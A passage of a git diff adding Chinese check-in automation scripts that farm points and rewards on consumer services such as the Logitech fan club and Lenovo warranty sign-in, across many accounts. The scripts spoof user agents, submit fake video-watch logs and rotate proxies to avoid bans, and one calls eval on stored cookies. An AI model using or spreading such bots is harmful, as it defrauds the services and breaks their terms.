账号{account_idx}:浇水成功!" + status_msg = f"🔄 {step}:📊 剩余:💧{account['user_data']['water_num']},☀️{account['user_data']['sun_num']}" + print("="*35) + print(success_msg) + print(status_msg) + # 关键修改:每条浇水成功日志都保留(不合并、不删除) + user_logs.append(success_msg) + user_logs.append(status_msg) + + if land: + land_msg = f"🔄 {step}:🌱 土地:共{len(land)}块,阶段{land[0]['seed_stage']} 🌱" + print(land_msg) + user_logs.append(land_msg) + print("="*35) + + time.sleep(random.uniform(4, 5)) + else: + # 浇水失败(如达上限、其他错误) + fail_msg = f"🔄 {step}:❌ 账号{account_idx}:浇水失败:{res.get('msg', '未知错误')}" + print(fail_msg) + user_logs.append(fail_msg) + break + + except Exception as e: + error_msg = f"🔄 {step}:⚠️ 账号{account_idx}:浇水请求异常:{str(e)} ❌" + print(error_msg) + user_logs.append(error_msg) + break + else: + end_msg = f"🔄 {step}:🔚 账号{account_idx}:资源不足(💧{water},☀️{sun}),停止浇水 ⏹️" + print(end_msg) + user_logs.append(end_msg) + fruit = account['user_data'].get('fruit_num', 0) + final_snap = f"📊 最终资源:☀️{sun} 💧{water} 🍅{fruit}" + print(final_snap) + user_logs.append(final_snap) + break + +def process_user(wid, phone, user_index): + user_logs = [f"👤 用户{user_index}: wid={wid} | 手机号={phone}"] + print(f"\n===== 开始处理用户 {user_index} (wid: {wid}, 手机号: {phone}) =====") + # 登录时传入 wid 和手机号 + login_data = login(wid, phone, user_logs) + if login_data: + auth_token = login_data["token"] + headers = {'User-Agent': user_agent, 'authorization': auth_token} + account = {"user_data": login_data["user_data"], "land_data": login_data["land_data"]} + fruit = account['user_data'].get('fruit_num', 0) + print(f"📊 当前番茄数量:{fruit}") + user_logs.append(f"📊 当前番茄数量:{fruit}") + if account["user_data"].get("new_status", 2) != 2: + get_seeds(auth_token, user_logs) + check_in(auth_token, user_logs) + explore(auth_token, wid, user_logs) + current_stage = 0 + if account["land_data"] and len(account["land_data"]) > 0: + current_stage = account["land_data"][0].get("seed_stage", 0) + print(f"\n🧠 账号{user_index}:智能判断... 当前土地状态: {current_stage}") + user_logs.append(f"ℹ️ 土地状态: {current_stage}") + if current_stage == 5: + print("判断:作物已成熟。") + user_logs.append("🧠 判断:作物已成熟。") + print(f">> 账号{user_index}:执行 [收获]...") + harvest_success = harvest(auth_token, user_logs, account) + if harvest_success: + print(f">> 账号{user_index}:执行 [播种]...") + plant_seed(auth_token, user_logs, account) + elif current_stage == 0: + print("判断:土地为空。") + user_logs.append("🧠 判断:土地为空。") + print(f">> 账号{user_index}:执行 [播种]...") + plant_seed(auth_token, user_logs, account) + else: + print("判断:作物生长中... 无需收获或播种。") + user_logs.append("🧠 判断:作物生长中。") + loop_watering(headers, user_index, account, user_logs) + else: + msg = "获取授权失败,无法执行后续操作 🔒" + print(msg) + user_logs.append(f"⚠️ {msg}") + print(f"===== 完成处理用户 {user_index} =====\n") + time.sleep(3) + return user_logs + +if __name__ == "__main__": + if not parsed_users or len(parsed_users) == 0: + print("未从环境变量TYQH中获取到任何用户信息! 🚫") + send("统一茄皇", "未从环境变量TYQH中获取到任何用户信息! 🚫") + else: + print(f"共检测到 {len(parsed_users)} 个用户,开始依次处理... 👥") + all_logs = [] + for i, (wid, phone) in enumerate(parsed_users, 1): + try: + user_logs = process_user(wid, phone, i) + all_logs.extend(user_logs) + all_logs.append("") + except Exception as e: + error_msg = f"用户 {i} 处理过程中发生未捕获错误: {str(e)} ❌" + print(error_msg) + all_logs.append(f"❌ {error_msg}") + all_logs.append("") + # 推送完整报告(包含所有浇水成功记录) + report = render_report(all_logs) + print("\n" + "="*50) + print("最终推送通知内容:") + print(report) + print("="*50) + send("统一茄皇", report) \ No newline at end of file diff --git a/脚本库/web版/账密/罗技粉丝俱乐部/2025-06-28_罗技粉丝俱乐部_c45cd687.js b/脚本库/web版/账密/罗技粉丝俱乐部/2025-06-28_罗技粉丝俱乐部_c45cd687.js new file mode 100644 index 0000000..352f8a7 --- /dev/null +++ b/脚本库/web版/账密/罗技粉丝俱乐部/2025-06-28_罗技粉丝俱乐部_c45cd687.js @@ -0,0 +1,585 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%BD%97%E6%8A%80%E7%B2%89%E4%B8%9D%E4%BF%B1%E4%B9%90%E9%83%A8.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%BD%97%E6%8A%80%E7%B2%89%E4%B8%9D%E4%BF%B1%E4%B9%90%E9%83%A8.js +// # Repo: jdqlscript/toulu +// # Path: 罗技粉丝俱乐部.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: c45cd6870fb5b9d8c3af919d9243a322eaf57226c2cfedab3c421836778af525 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* +罗技粉丝俱乐部 +多账号换行或&隔开 +TL库:https://github.com/3288588344/toulu.git +tg频道:https://t.me/TLtoulu +QQ频道:https://pd.qq.com/s/672fku8ge +*/ +const $ = new Env("罗技粉丝俱乐部"); +let envSplitor = ['\n','&'] +let httpErr, httpReq, httpResp +let userCookie = ($.isNode() ? process.env.ljfsjlbCookie : $.getdata('ljfsjlbCookie')) || ''; +let userList = [] +let userIdx = 0 +let userCount = 0 +let VIDEO_TASK_NUM = 3 +let contentType = 'application/json;charset=utf-8' +let client_id = 'LogitechFans' +let defaultUA = 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.23(0x1800172f) NetType/WIFI Language/zh_CN' +let Referer = 'https://servicewechat.com/wx9be0a7d24db348e8/220/page-frame.html' +/////////////////////////////////////////////////////////////////// +class UserInfo { + constructor(str) { + this.index = ++userIdx + this.name = this.index + this.valid = false + + this.auth = str + this.taskList = {} + } + + async taskApi(fn,method,url,body) { + let result = null + try { + let host = url.replace('//','/').split('/')[1] + let urlObject = { + url: url, + headers: { + 'Host': host, + 'Connection': 'keep-alive', + 'User-Agent': defaultUA, + 'Referer': Referer, + 'client_id': client_id, + 'Authorization': 'Bearer ' + this.auth, + }, + timeout: 5000, + } + if(body) { + urlObject.body = body + urlObject.headers['Content-Type'] = contentType + } + await httpRequest(method,urlObject).then(async (ret) => { + if(ret.resp?.statusCode == 200) { + if(ret.resp?.body) { + result = JSON.parse(ret.resp.body) + } else { + console.log(`账号[${this.index}]调用${method}[${fn}]出错,返回为空`) + } + } else { + console.log(`账号[${this.index}]调用${method}[${fn}]出错,返回状态码[${ret.resp?.statusCode||''}]`) + } + }) + } catch(e) { + console.log(e) + } finally { + return Promise.resolve(result); + } + } + + async GetIsLogin() { + try { + let fn = 'GetIsLogin' + let method = 'post' + let url = `https://api.wincheers.net/api/services/app/crmAccount/GetIsLogin` + let body = `` + await this.taskApi(fn,method,url,body).then(async (result) => { + if(result.success==true) { + this.valid = true + this.name = result.result.name + this.id = result.result.id + this.integral = result.result.integral + this.phone = result.result.telephone + this.buyerNo = result.result.buyerNo + console.log(`登录成功`) + console.log(`昵称: ${this.name}`) + console.log(`ID: ${this.id}`) + console.log(`积分: ${this.integral}`) + } else { + $.logAndNotify(`账号[${this.index}]登录失败,CK失效`) + } + }) + } catch(e) { + console.log(e) + } finally { + return Promise.resolve(1); + } + } + + async IsSignDao() { + try { + let fn = 'IsSignDao' + let method = 'post' + let url = `https://api.wincheers.net/api/services/app/signIn/IsSignDao` + let body = `` + await this.taskApi(fn,method,url,body).then(async (result) => { + if(result.success==true) { + let taskDetail = result.result.split('|') + + this.taskList.IsSingDao = taskDetail[0] + this.taskList.SignDay = taskDetail[1] + this.taskList.IsNotice = taskDetail[2] + this.taskList.Integral = taskDetail[3] + this.taskList.VideoNum = taskDetail[4] + this.taskList.shareNum = taskDetail[5] + this.taskList.Isperfect = taskDetail[6] + this.taskList.IsRelease = taskDetail[7] + this.taskList.IsBangDing = taskDetail[8] + this.taskList.IsForward = taskDetail[9] + this.taskList.Iscomment = taskDetail[10] + this.taskList.isProbe = taskDetail[11] + this.taskList.isInterest = taskDetail[12] + this.taskList.InviteNum = taskDetail[13] + + if(this.taskList.IsSingDao != 'ok') { + await this.ContinuitySignIn(); + } else { + console.log(`今天已签到,已签到${this.taskList.SignDay}天`) + } + if(this.taskList.VideoNum < VIDEO_TASK_NUM) { + let num = VIDEO_TASK_NUM - this.taskList.VideoNum + for(let i=0; i { + if(result.success==true) { + this.taskList.SignDay++ + console.log(`签到成功,获得${result.result}积分,已签到${this.taskList.SignDay}天`) + } else { + console.log(`签到失败:${result?.error?.message}`) + } + }) + } catch(e) { + console.log(e) + } finally { + return Promise.resolve(1); + } + } + + async AddLogVideo(SocialId) { + try { + let fn = 'AddLogVideo' + let method = 'post' + let url = `https://api.wincheers.net/api/services/app/socialVideoOverLog/AddLog?SocialId=${SocialId}` + let body = `` + await this.taskApi(fn,method,url,body).then(async (result) => { + if(result.success==true) { + console.log(`观看视频成功`) + if(result.result > 0) console.log(`完成观看视频任务成功,获得${result.result}积分`) + } else { + console.log(`观看视频失败:${result?.error?.message}`) + } + }) + } catch(e) { + console.log(e) + } finally { + return Promise.resolve(1); + } + } + + async GiftPoints() { + try { + let fn = 'GiftPoints' + let method = 'post' + let url = `https://api.wincheers.net/api/services/app/crmAccount/GiftPoints` + let body = `` + await this.taskApi(fn,method,url,body).then(async (result) => { + if(result.success==true) { + console.log(`分享成功,每天首次分享可得50积分`) + } else { + console.log(`分享失败:${result?.error?.message}`) + } + }) + } catch(e) { + console.log(e) + } finally { + return Promise.resolve(1); + } + } + + async userTask() { + try { + console.log(`\n============= 账号[${this.index}] =============`) + await this.getScoreAccount(); + } catch(e) { + console.log(e) + } finally { + return Promise.resolve(1); + } + } +} +!(async () => { + if (typeof $request !== "undefined") { + await GetRewrite() + }else { + if(!(await checkEnv())) return; + + console.log('\n================ 登录 ================') + for(let user of userList) { + console.log(`----------- 账号[${user.index}] -----------`) + await user.GetIsLogin(); + } + + let validUserList = userList.filter(x => x.valid) + + if(validUserList.length > 0) { + console.log('\n================ 任务 ================') + for(let user of validUserList) { + console.log(`----------- 账号[${user.index}] -----------`) + await user.IsSignDao(); + } + } + + await $.showmsg(); + } +})() +.catch((e) => console.log(e)) +.finally(() => $.done()) +/////////////////////////////////////////////////////////////////// +async function GetRewrite() { +} +async function checkEnv() { + if(userCookie) { + let splitor = envSplitor[0]; + for(let sp of envSplitor) { + if(userCookie.indexOf(sp) > -1) { + splitor = sp; + break; + } + } + for(let userCookies of userCookie.split(splitor)) { + if(userCookies) userList.push(new UserInfo(userCookies)) + } + userCount = userList.length + } else { + console.log('未找到CK') + return; + } + + console.log(`共找到${userCount}个账号`) + return true +} +//////////////////////////////////////////////////////////////////// +async function httpRequest(method,url) { + httpErr=null, httpReq=null, httpResp=null; + return new Promise((resolve) => { + $.send(method, url, async (err, req, resp) => { + httpErr=err, httpReq=req, httpResp=resp; + resolve({err,req,resp}) + }) + }); +} +//////////////////////////////////////////////////////////////////// +function Env(name,env) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("xxxxx") > -1 && process.exit(0); + return new class { + constructor(name,env) { + this.name = name + this.notifyStr = '' + this.startTime = (new Date).getTime() + Object.assign(this,env) + console.log(`${this.name} 开始运行:\n`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } + else { + s = this.setval(t, e); + } + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + send(m, t, e = (() => {})) { + if(m != 'get' && m != 'post' && m != 'put' && m != 'delete') { + console.log(`无效的http方法:${m}`); + return; + } + if(m == 'get' && t.headers) { + delete t.headers["Content-Type"]; + delete t.headers["Content-Length"]; + } else if(t.body && t.headers) { + if(!t.headers["Content-Type"]) t.headers["Content-Type"] = "application/x-www-form-urlencoded"; + } + if(this.isSurge() || this.isLoon()) { + if(this.isSurge() && this.isNeedRewrite) { + t.headers = t.headers || {}; + Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1}); + } + let conf = { + method: m, + url: t.url, + headers: t.headers, + timeout: t.timeout, + data: t.body + }; + if(m == 'get') delete conf.data + $axios(conf).then(t => { + const { + status: i, + request: q, + headers: r, + data: o + } = t; + e(null, q, { + statusCode: i, + headers: r, + body: o + }); + }).catch(err => console.log(err)) + } else if (this.isQuanX()) { + t.method = m.toUpperCase(), this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), + $task.fetch(t).then(t => { + const { + statusCode: i, + request: q, + headers: r, + body: o + } = t; + e(null, q, { + statusCode: i, + headers: r, + body: o + }) + }, t => e(t)) + } else if (this.isNode()) { + this.got = this.got ? this.got : require("got"); + const { + url: s, + ...i + } = t; + this.instance = this.got.extend({ + followRedirect: false + }); + this.instance[m](s, i).then(t => { + const { + statusCode: i, + request: q, + headers: r, + body: o + } = t; + e(null, q, { + statusCode: i, + headers: r, + body: o + }) + }, t => { + const { + message: s, + request: q, + response: i + } = t; + e(s, q, i) + }) + } + } + time(t,x=null) { + let xt = x ? new Date(x) : new Date + let e = { + "M+": xt.getMonth() + 1, + "d+": xt.getDate(), + "h+": xt.getHours(), + "m+": xt.getMinutes(), + "s+": xt.getSeconds(), + "q+": Math.floor((xt.getMonth() + 3) / 3), + S: xt.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (xt.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let s in e) + new RegExp("(" + s + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); + return t + } + async showmsg() { + if(!this.notifyStr) return; + let notifyBody = this.name + " 运行通知\n\n" + this.notifyStr + if($.isNode()){ + var notify = require('./sendNotify'); + console.log('\n============== 推送 ==============') + await notify.sendNotify(this.name, notifyBody); + } else { + this.msg(notifyBody); + } + } + logAndNotify(str) { + console.log(str) + this.notifyStr += str + this.notifyStr += '\n' + } + logAndNotifyWithTime(str) { + let t = '['+this.time('hh:mm:ss.S')+']'+str + console.log(t) + this.notifyStr += t + this.notifyStr += '\n' + } + logWithTime(str) { + console.log('['+this.time('hh:mm:ss.S')+']'+str) + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))); + let h = ["", "============== 系统通知 =============="]; + h.push(e), + s && h.push(s), + i && h.push(i), + console.log(h.join("\n")) + } + getMin(a,b){ + return ((anumStr.length) ? (length-numStr.length) : 0 + let retStr = '' + for(let i=0; i setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + console.log(`\n${this.name} 运行结束,共运行了 ${s} 秒!`) + if(this.isSurge() || this.isQuanX() || this.isLoon()) $done(t) + } + }(name,env) +} \ No newline at end of file diff --git a/脚本库/web版/账密/联想延保签到/2025-06-28_联想延保签到_f8c349cc.py b/脚本库/web版/账密/联想延保签到/2025-06-28_联想延保签到_f8c349cc.py new file mode 100644 index 0000000..b954329 --- /dev/null +++ b/脚本库/web版/账密/联想延保签到/2025-06-28_联想延保签到_f8c349cc.py @@ -0,0 +1,258 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%81%94%E6%83%B3%E5%BB%B6%E4%BF%9D%E7%AD%BE%E5%88%B0.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%81%94%E6%83%B3%E5%BB%B6%E4%BF%9D%E7%AD%BE%E5%88%B0.py +# Repo: jdqlscript/toulu +# Path: 联想延保签到.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: f8c349ccab0323222234630bfe4b5c0f1f6fc22d876be5a01880f989a73214c1 +# Category: web版/账密 +# Evidence: web/H5关键词 + username/password/login + +'''QQ频道:98do10s246 + +联系:3288588344(看心情回,巨婴别来问) +下载config.toml文件,上传到同目录,在config.toml文件中填联想APP的手机号和密码 +通知可填可不填 +config.toml文件下载链接:https://raw.githubusercontent.com/3288588344/toulu/main/config.toml +''' +import base64 +import json +import logging +import random +import re +from sys import exit + +import smtplib +from email.mime.text import MIMEText +from smtplib import SMTP_SSL +from email.header import Header + +import requests +import toml +from requests.utils import cookiejar_from_dict, dict_from_cookiejar + + +USER_AGENT = [ + "Mozilla/5.0 (Linux; U; Android 11; zh-cn; PDYM20 Build/RP1A.200720.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/70.0.3538.80 Mobile Safari/537.36 HeyTapBrowser/40.7.24.9", + "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Mobile Safari/537.36" +] + + +class Push_messages: + class Server_chan: + def __init__(self, send_key: str) -> None: + self.send_key = send_key + + def send_message(self, content: str) -> bool: + data = {"title": "联想签到", "desp": content} + response = requests.post( + f"https://sctapi.ftqq.com/{self.send_key}.send", data=data + ) + res_data = response.json().get("data") + pushid = res_data.get("pushid") + readkey = res_data.get("readkey") + result = requests.get( + f"https://sctapi.ftqq.com/push?id={pushid}&readkey={readkey}" + ) + return True if result.json().get("code") == 0 else False + + class Wechat_message: + def __init__(self, corpid: str, corpsecret: str, agentid: str) -> None: + self.corpid = corpid + self.corpsecret = corpsecret + self.agentid = agentid + self.token = ( + requests.get( + f"https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid={self.corpid}&corpsecret={self.corpsecret}" + ) + .json() + .get("access_token") + ) + + def send_message(self, content: str) -> bool: + data = { + "touser": "@all", + "msgtype": "text", + "agentid": self.agentid, + "text": {"content": content}, + "safe": 0, + } + response = requests.post( + f"https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token={self.token}", + data=json.dumps(data), + ) + return True if response.json().get("errcode") == 0 else False + + class Dingtalk_message: + def __init__(self, ding_accesstoken: str) -> None: + self.ding_accesstoken = ding_accesstoken + + def send_message(self, content: str) -> bool: + data = { + "msgtype": "text", + "text": {"content": content}, + "at": {"isAtAll": True}, + } + response = requests.post( + f"https://oapi.dingtalk.com/robot/send?access_token={self.ding_accesstoken}", + data=json.dumps(data), + ) + return True if response.json().get("errcode") == 0 else False + + class Email_message: + def __init__(self, sender_email: str, sender_password: str, receiver_email: str, smtp_server: str, + smtp_port: int) -> None: + self.sender_email = sender_email + self.sender_password = sender_password + self.receiver_email = receiver_email + self.smtp_server = smtp_server + self.smtp_port = smtp_port + + def send_message(self, content: str) -> bool: + receiver_email = [self.receiver_email] + + message = MIMEText(content, 'plain', 'utf-8') + message['Subject'] = Header("联想智选定时签到结果", "utf-8") + message['From'] = Header("联想智选定时签到程序", "utf-8") + message['To'] = receiver_email[0] + + try: + smtp = SMTP_SSL(self.smtp_server, self.smtp_port) + smtp.login(self.sender_email, self.sender_password) + smtp.sendmail( + self.sender_email, receiver_email, message.as_string()) + smtp.quit() + return True + except smtplib.SMTPException as e: + print('send email error', e) + return False + + +def set_push_type(): + for type, key in config.get("message_push").items(): + key_list = key.values() + if "".join(key_list): + return getattr(Push_messages(), type)(*key_list).send_message + else: + return logger + + +def login(username, password): + def get_cookie(): + session.headers = { + "user-agent": ua, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + } + session.get(url="https://reg.lenovo.com.cn/auth/rebuildleid") + session.get( + url="https://reg.lenovo.com.cn/auth/v1/login?ticket=5e9b6d3d-4500-47fc-b32b-f2b4a1230fd3&ru=https%3A%2F%2Fmclub.lenovo.com.cn%2F" + ) + data = f"account={username}&password={base64.b64encode(str(password).encode()).decode()}\ + &ps=1&ticket=5e9b6d3d-4500-47fc-b32b-f2b4a1230fd3&codeid=&code=&slide=v2&applicationPlatform=2&shopId=\ + 1&os=web&deviceId=BIT%2F8ZTwWmvKpMsz3bQspIZRY9o9hK1Ce3zKIt5js7WSUgGQNnwvYmjcRjVHvJbQ00fe3T2wxgjZAVSd\ + OYl8rrQ%3D%3D&t=1655187183738&websiteCode=10000001&websiteName=%25E5%2595%2586%25E5%259F%258E%25E\ + 7%25AB%2599&forwardPageUrl=https%253A%252F%252Fmclub.lenovo.com.cn%252F" + login_response = session.post( + url="https://reg.lenovo.com.cn/auth/v2/doLogin", data=data + ) + if login_response.json().get("ret") == "1": + logger(f"{username}账号或密码错误") + return None + ck_dict = dict_from_cookiejar(session.cookies) + config["cookies"][username] = f"{ck_dict}" + toml.dump(config, open(config_file, "w")) + session.cookies = cookiejar_from_dict(ck_dict) + return session + + session = requests.Session() + session.headers = { + "user-agent": ua, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + } + if cookie_dict := config.get("cookies").get(username): + session.cookies = cookiejar_from_dict(eval(cookie_dict)) + ledou = session.post( + "https://i.lenovo.com.cn/info/uledou.jhtml", + data={"sts": "b044d754-bda2-4f56-9fea-dcf3aecfe782"}, + ) + try: + int(ledou.text) + except ValueError: + logger(f"{username} ck有错,重新获取ck并保存") + session = get_cookie() + return session + logger(f"{username} ck没有错") + return session + else: + logger(f"{username} ck为空,重新获取ck并保存") + session = get_cookie() + return session + + +def sign(session): + res = session.get(url="https://mclub.lenovo.com.cn/signlist/") + token = re.findall('token\s=\s"(.*?)"', res.text)[0] + data = f"_token={token}&memberSource=1" + headers = { + "Host": "mclub.lenovo.com.cn", + "pragma": "no-cache", + "cache-control": "no-cache", + "accept": "application/json, text/javascript, */*; q=0.01", + "origin": "https://mclub.lenovo.com.cn", + "x-requested-with": "XMLHttpRequest", + "user-agent": ua + + "/lenovoofficialapp/16554342219868859_10128085590/newversion/versioncode-1000080/", + "content-type": "application/x-www-form-urlencoded; charset=UTF-8", + "referer": "https://mclub.lenovo.com.cn/signlist?pmf_group=in-push&pmf_medium=app&pmf_source=Z00025783T000", + "accept-language": "zh-CN,en-US;q=0.8", + } + sign_response = session.post( + "https://mclub.lenovo.com.cn/signadd", data=data, headers=headers + ) + sign_days = ( + session.get(url="https://mclub.lenovo.com.cn/getsignincal") + .json() + .get("signinCal") + .get("continueCount") + ) + sign_user_info = session.get("https://mclub.lenovo.com.cn/signuserinfo") + try: + serviceAmount = sign_user_info.json().get("serviceAmount") + ledou = sign_user_info.json().get("ledou") + except Exception as e: + logger(sign_user_info.headers["content-type"]) + logger(sign_user_info.status_code) + logger(e) + serviceAmount, ledou = None, None + session.close() + if sign_response.json().get("success"): + return f"\U00002705账号{username}签到成功, \U0001F4C6连续签到{sign_days}天, \U0001F954共有乐豆{ledou}个, \U0001F4C5共有延保{serviceAmount}天\n" + else: + return f"\U0001F6AB账号{username}今天已经签到, \U0001F4C6连续签到{sign_days}天, \U0001F954共有乐豆{ledou}个, \U0001F4C5共有延保{serviceAmount}天\n" + + +def main(): + global logger, config_file, config, ua, username + logging.basicConfig( + level=logging.INFO, format="%(asctime)s - %(levelname)s: %(message)s" + ) + logger = logging.getLogger(__name__).info + config_file = r"config.toml" + config = toml.load(config_file) + account = config.get("account") + if not account: + exit(1) + if not (ua := config.get("browser").get("ua")): + ua = random.choice(USER_AGENT) + config["browser"]["ua"] = ua + push = set_push_type() + message = "联想签到: \n" + for username, password in account.items(): + session = login(username, password) + if not session: + continue + message += sign(session) + push(message) + + +if __name__ == "__main__": + main() diff --git a/脚本库/web版/账密/胖乖生活/2025-06-28_胖乖生活_104430b9.py b/脚本库/web版/账密/胖乖生活/2025-06-28_胖乖生活_104430b9.py new file mode 100644 index 0000000..9748aa3 --- /dev/null +++ b/脚本库/web版/账密/胖乖生活/2025-06-28_胖乖生活_104430b9.py @@ -0,0 +1,1083 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%83%96%E4%B9%96%E7%94%9F%E6%B4%BB.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%83%96%E4%B9%96%E7%94%9F%E6%B4%BB.py +# Repo: jdqlscript/toulu +# Path: 胖乖生活.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 104430b94d09cac500764aa552f54b416538a59613dd89ab88c04528b4eab941 +# Category: web版/账密 +# Evidence: web/H5关键词 + username/password/login + +""" + * 胖乖生活 + * 设置变量 PGSH_TOKEN,多号使用&隔开,青龙直接新建变量即可 + * ck格式1:token#备注 + * ck格式2: token + * 代理开关变量名:pg_dl,True为开启代理模式,False为关闭,默认为False + * 代理变量名:pg_dlurl,代理地址是动态代理api接口,一次性提取一个,选择txt格式,\r\n或者\n模式都可以 + * 并发开关变量名:pg_bf,True为开启并发模式,False为关闭,默认为False + * 并发数量变量名:pg_bfsum,并发几个就写几个,默认为3 + * 推送开关变量名:pg_ts,True为开启推送,False为关闭,默认为False + * 推送变量名1:WxPusher:pg_WxPusher_token是你的WxPusher的推送组的token,pg_WxPusher_uid是你的WxPusher该推送组的用户uid,推送给谁就填写谁的,填写一个即可 + * 推送变量名2:pushplus:pg_pushplus_token是你的pushplus的token + * Top: 上面两个推送配置哪个就使用哪个推送,两个都配置的话就两个都进行推送 + * 数据库地址变量名:pg_ckurl,保证打开数据库里面是ck,并使用&隔开,或者ck#备注,并使用&隔开 + * 不填备注默认使用隐私格式手机号作为用户名,否则使用填写的备注作为用户名 + * 出现False就是任务已完成或者不可完成 + * 推荐携趣,注册实名每天免费1k,地址:https://www.xiequ.cn/ + * cron:0 * * * * 务必使用此cron,无需担心黑号 +""" + +############################## + +ck = "" # 本地环境ck,环境变量存在此处不生效 +ckurl1 = "" # 数据库地址,适配部分群友要求 +jh = False # 聚合ck模式,开启即所有环境模式ck都生效,都会合成为一个ck列表,关闭则优先处理环境变量,默认为True,False为关闭 + +############################# +# -----运行模式配置区,自行配置------ + +bf1 = False # True开启并发,False关闭并发 +bfsum1 = 3 # 并发数,开启并发模式生效 + +# -------推送配置区,自行填写------- + +ts1 = False # True开启推送,False关闭推送 + +# -------代理配置区,自行填写------- + +dl1 = False # True开启代理,False关闭代理 +dl_url = "" # 代理池api + +# -----代理时间配置区,秒为单位------ + +dl_sleep = 30 # 代理切换时间 +qqtime = 6 # 请求超时时间 + +# -----时间配置区,默认即可------ + +a = "6" +b = "22" # 表示6-22点之间才执行任务 + +############################# +# ---------勿动区---------- + +# 已隐藏乾坤于此区域 + +########################### +# ---------代码块--------- + +import requests +import time +import random +import string +import os +import json +import hashlib +import threading +from functools import partial +from urllib.parse import urlparse +from datetime import datetime, timedelta +from concurrent.futures import ThreadPoolExecutor, as_completed +from urllib3.exceptions import InsecureRequestWarning + +dl = os.environ.get('pg_dl', dl1) +proxy_api_url = os.environ.get('pg_dlurl', dl_url) +bf = os.environ.get('pg_bf', bf1) +bfsum = os.environ.get('pg_bfsum', bfsum1) +ts = os.environ.get('pg_ts', ts1) +ckurl = os.environ.get('pg_ckurl', ckurl1) +WxPusher_uid = os.environ.get('pg_WxPusher_uid') +WxPusher_token = os.environ.get('pg_WxPusher_token') +pushplus_token = os.environ.get('pg_pushplus_token') + +# def check_yl(): +# lb = ['requests', 'urllib3'] +# for yl in lb: +# try: +# subprocess.check_call(["pip", "show", yl], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) +# except subprocess.CalledProcessError: +# print(f"{yl} 未安装,开始安装...") +# subprocess.check_call(["pip", "install", yl, "-i", "https://pypi.tuna.tsinghua.edu.cn/simple"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) +# print(f"{yl} 安装完成") +# check_yl() + +v = '9.9.9.' + +global_proxy = { + 'http': None, + 'https': None +} + + +def start_dlapi(): + dlstart = threading.Thread(target=get_proxy, args=(stop_event,)) + dlstart.start() + + +stop_event = threading.Event() + + + +def get_proxy(stop_event): + global global_proxy, ipp + a = 0 + while not stop_event.is_set(): + a += 1 + response = requests.get(proxy_api_url) + if response.status_code == 200: + proxy1 = response.text.strip() + if "白名单" not in proxy1: + print(f'✅第{a}次获取代理成功: {proxy1}') + ipp = proxy1.split(':')[0] + global_proxy = { + 'http': proxy1, + 'https': proxy1, + } + start_time = time.time() + while time.time() - start_time < 